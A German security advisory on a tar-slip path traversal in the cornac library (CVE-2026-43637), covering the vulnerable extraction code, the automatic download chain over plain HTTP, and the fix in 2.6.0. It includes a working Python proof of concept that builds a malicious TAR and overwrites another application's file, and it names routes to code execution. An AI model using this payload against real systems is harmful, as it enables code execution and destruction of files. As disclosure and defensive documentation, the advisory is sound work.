
Pfad-Traversal (Tar Slip) in Cornac über _extract_archive (CVE-2026-43637)
Schweregrad: Hoch, CVSS 4.0 8.8, Kritisch, CVSS 3.1 9.1(zugewiesen von VulnCheck, dem CNA)
Vektor (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Vektor (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Betroffen: cornac < 2.6.0
Behoben in: 2.6.0
CWE: CWE-22 (Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis, 'Path Traversal')
Gemeldet von: Rahul Karne und Bharath Kumar Reddy Janumpally
CNA: VulnCheck
Veröffentlicht: 15. Juli 2026
Cornacs Dataset-Loader laden Archive automatisch herunter und entpacken sie, und das Entpackprogramm vertraute jedem Pfad innerhalb des Archivs.
Cornac ist ein Machine-Learning-Framework für Empfehlungssysteme. Seine eingebauten Dataset-Loader laden Archive über das Netzwerk herunter und extrahieren sie ohne jeden Bestätigungsschritt. Die Extraktionsroutine _extract_archive() in cornac/utils/download.py ruft archive.extractall() ohne Validierung der Mitgliedspfade auf. Ein TAR-Archiv, dessen Mitglieder ../-Sequenzen, absolute Pfade oder Symlink- und Hardlink-Einträge enthalten, schreibt daher Dateien an beliebige Stellen im Dateisystem, überall dorthin, wo der laufende Prozess schreiben kann, vollständig außerhalb des vorgesehenen Cache-Verzeichnisses. Mehrere Loader laden über unverschlüsseltes HTTP, sodass ein im Netzwerk positionierter Angreifer ein bösartiges Archiv während der Übertragung unterschieben und es in dem Moment extrahieren lassen kann, in dem ein Loader aufgerufen wird.
Beliebiges Dateischreiben mit vollständig vom Angreifer kontrolliertem Pfad und Inhalt, begrenzt nur durch die Berechtigungen des Prozesses, der Cornac ausführt. Dies ist ein Schreib-Primitiv, kein Lese-Primitiv, daher gibt es keine direkte Offenlegung, aber beliebiges Dateischreiben ist ein etablierter Weg zur Codeausführung und zur Denial-of-Service:
.py-Datei in site-packages, einer Shell-Startdatei oder eines Eintrags für geplante Aufgaben führt dazu, dass Angreifercode beim nächsten Import, Shell-Start oder Job ausgeführt wird.Wer ist betroffen: Jede Nutzung von cornac < 2.6.0, die einen Dataset-Loader aufruft, der ein Archiv herunterlädt und extrahiert, das der Angreifer kontrollieren oder abfangen kann. Da Loader automatisch extrahieren, ist kein Schritt über den normalen Loader-Aufruf hinaus erforderlich.
Wer ist nicht betroffen:
2.6.0 oder neuer, wo die Extraktion jeden Mitgliedspfad validiert.| Kennzahl | Wert | Quelle |
|---|---|---|
| Downloads, gesamt | 4.1M | pepy.tech/projects/cornac |
| Downloads, letzte 30 Tage | 67.8K | pepy.tech |
| Typische Verwendung | Forschung und Lehre zu Empfehlungssystemen; Dataset-Loader holen automatisch über das Netzwerk, einige über unverschlüsseltes HTTP | dem Framework inhärent |
_extract_archive() in cornac/utils/download.py extrahiert sowohl ZIP- als auch TAR-Eingaben über einen einzigen Codepfad und ruft für den TAR-Fall extractall() ohne Pfadprüfung auf:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
Nichts schränkt die Mitgliedsnamen ein, daher löst ein Mitglied namens ../../somewhere/file außerhalb von extract_path auf und wird dorthin geschrieben.
Die Aufrufkette ist ab einem Loader-Aufruf vollständig automatisch:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
Pythons zipfile bereinigt ../-Sequenzen während der Extraktion, daher ist der ZIP-Zweig derselben Funktion auf modernem Python nicht ausnutzbar. Pythons tarfile bereinigt Mitgliedspfade nicht (vor 3.12, und danach nur mit einem expliziten Filter). Da Cornac beide Formate über denselben extractall()-Aufruf verarbeitet, ist der ZIP-Zweig sicher und der TAR-Zweig über dieselben Zeilen vollständig ausnutzbar. Die Asymmetrie ist genau deshalb leicht zu übersehen, weil der Code über beide Formate hinweg einheitlich aussieht.
Cornac lädt mit urllib.request.urlretrieve() herunter, ohne Zertifikats-Pinning und ohne Archiv-Integritätsprüfung, und mehrere eingebaute Loader verwenden http://-URLs. Ein im Netzwerk positionierter Angreifer kann den unverschlüsselten HTTP-Download abfangen und ein bösartiges TAR zurückgeben, ohne den Upstream-Server zu kompromittieren. Deshalb ist der Vektor remote und erfordert keine Benutzerinteraktion über den Loader-Aufruf hinaus.
Ein Angreifer benötigt:
< 2.6.0 verwendet.Es sind keine Privilegien auf dem Ziel und keine Benutzerinteraktion über den Loader-Aufruf hinaus erforderlich.
Das Folgende wurde gegen das echte, unveränderte Paket ausgeführt, indem Cornacs eigene _extract_archive direkt aufgerufen wurde.
Verwundbare Version (2.3.5). Ein TAR, das ein ../../-Mitglied enthält, wird in ein Cache-Verzeichnis extrahiert; das Mitglied landet außerhalb dieses Verzeichnisses und überschreibt eine Datei, die zu einer separaten Anwendung gehört:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
Verifiziertes Ergebnis:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
Das gutartige Mitglied schrieb wie erwartet innerhalb des Caches; das ../../-Mitglied schrieb in das Verzeichnis der separaten Anwendung, und der Import dieser Anwendung schlägt nun fehl.
Vollständige Angriffsdemonstration. poc_exploit.py in diesem Repository führt die vollständige Kette Ende-zu-Ende aus: Ein Angreifer-HTTP-Server liefert das bösartige TAR, ein Loader, der Cornacs cache()- plus _extract_archive()-Aufrufkette nachbildet, lädt es automatisch herunter und extrahiert es aus einem einzigen load_feedback()-Aufruf, und zwei Dateien werden in einem Verzeichnis einer separaten Anwendung überschrieben. Die verwundbare _extract_archive() wird unverändert aus Cornacs Quellcode verwendet.
Gepatchte Version (2.6.0). Dasselbe Traversal-Archiv wird abgelehnt, bevor etwas geschrieben wird:
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run(): return 'healthy' (unchanged)
Aktualisieren Sie auf cornac 2.6.0 oder neuer:
pip install --upgrade "cornac>=2.6.0"
2.6.0 ersetzt das ungeschützte extractall() durch einen _safe_extract()-Helfer, der jeden Mitgliedspfad mit os.path.realpath auflöst und jedes Ziel ablehnt, das nicht innerhalb des Extraktionsverzeichnisses bleibt, und der nur reguläre Dateien und Verzeichnisse zulässt und dabei Symlink-, Hardlink- und Geräteeinträge blockiert.
Wenn Sie nicht sofort aktualisieren können: Rufen Sie keine Dataset-Loader auf, die über nicht vertrauenswürdige oder unverschlüsselte HTTP-Kanäle laden, und extrahieren Sie keine TAR-Archive aus Quellen, die Sie nicht kontrollieren. Das Laden über HTTPS verringert das Risiko des Abfangens während der Übertragung, beseitigt aber nicht das Risiko durch einen bösartigen oder kompromittierten Upstream.
VulnCheck (das CNA) hat 8.8 (Hoch) unter CVSS 4.0 vergeben (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).
AV:N: Das bösartige Archiv wird über das Netzwerk geliefert, und mehrere Loader laden über unverschlüsseltes HTTP ohne Integritätsprüfung.AC:L: Das Erstellen eines Traversal-TAR ist trivial, und der Angriff funktioniert bei jedem Aufruf deterministisch.PR:N: Der Angreifer benötigt kein Konto und keinen Fußpunkt auf dem Ziel.UI:N: Der Loader lädt und extrahiert automatisch; ein einzelner Loader-Aufruf löst die gesamte Kette ohne Bestätigungsschritt aus.VC:N: Das Primitiv ist rein schreibend, daher wird keine Vertraulichkeitsauswirkung beansprucht.VI:H / VA:H: Der Angreifer kontrolliert den geschriebenen Inhalt vollständig und kann Dateien zerstören, die der Prozess schreiben kann; Integrität und Verfügbarkeit des betroffenen Systems sind daher hoch.SC:N / SI:N / SA:N: Das CNA bewertete die Auswirkung als auf die Autorität des verwundbaren Systems beschränkt und nicht auf ein separates nachgelagertes System.Die vom CNA vergebene 8.8 ist der maßgebliche Wert für dieses Problem.
| Datum | Ereignis |
|---|---|
| 3. Mai 2026 | Schwachstelle identifiziert |
| 4. Mai 2026 | Gemeldet (koordinierte Offenlegung) |
| 14. Juli 2026 | Fix gemerged (PR #709, Commit 8a50be7) |
| 15. Juli 2026 | Gepatchte Version 2.6.0 veröffentlicht |
| 15. Juli 2026 | CVE-2026-43637 von VulnCheck veröffentlicht |
Entdeckt und gemeldet von Rahul Karne (Sicherheitsforscher und IEEE Senior Member) und Bharath Kumar Reddy Janumpally, koordiniert über VulnCheck. Rahuls verwandte Offenlegungen umfassen CVE-2026-65321 (SQL-Injection in PyAthena) und CVE-2026-63720 (Code-Injection in datamodel-code-generator).
Kontakt: [email protected] · GitHub: rahulreddykarne
8a50be7: https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8Medienanfragen: [email protected]. Vollständiger PoC (Angreifer-Server, Traversal-Archiv, Opferanwendung) und weitere technische Details auf Anfrage verfügbar.